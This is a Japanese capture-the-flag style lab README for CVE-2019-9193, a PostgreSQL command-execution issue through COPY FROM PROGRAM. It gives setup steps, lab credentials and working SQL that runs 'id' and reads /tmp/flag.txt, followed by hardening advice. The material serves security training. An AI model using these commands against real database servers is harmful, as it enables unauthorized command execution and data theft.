CVE-2019-9193 — PostgreSQL の COPY FROM PROGRAM による RCE

このラボは、PostgreSQL 9.3〜11.2 に存在する脆弱性 CVE-2019-9193 を再現します。superuser または pg_execute_server_program ロールを持つユーザーが実行すると、次のコマンドで OS コマンドを実行できます:

COPY ... FROM PROGRAM '<command>'

このラボの課題は、この機能を悪用して次のファイルを読み取ることです:

/tmp/flag.txt

目的

1. PostgreSQL に接続する:
   • ユーザー: postgres
   • パスワード: sentinel7
   • ホストポート: 5433
2. COPY FROM PROGRAM を使用して次の操作を行います:
   • OS コマンドを実行する
   • フラグを取得する

セットアップ

docker compose build
docker compose up -d

次のコマンドで接続します:

psql -U postgres -h 127.0.0.1 -p 5433

攻撃手順

1) テーブルを作成する

CREATE TABLE cmd_exec(cmd_output text);

2) RCE をテストする

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) フラグを読み取る

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

セキュリティ上の注意点

• PostgreSQL の superuser でアプリケーションを実行しない
• pg_execute_server_program を不必要に付与しない
• COPY PROGRAM を無効化または制限する
• SQL インジェクションに対してアプリケーションを堅牢化する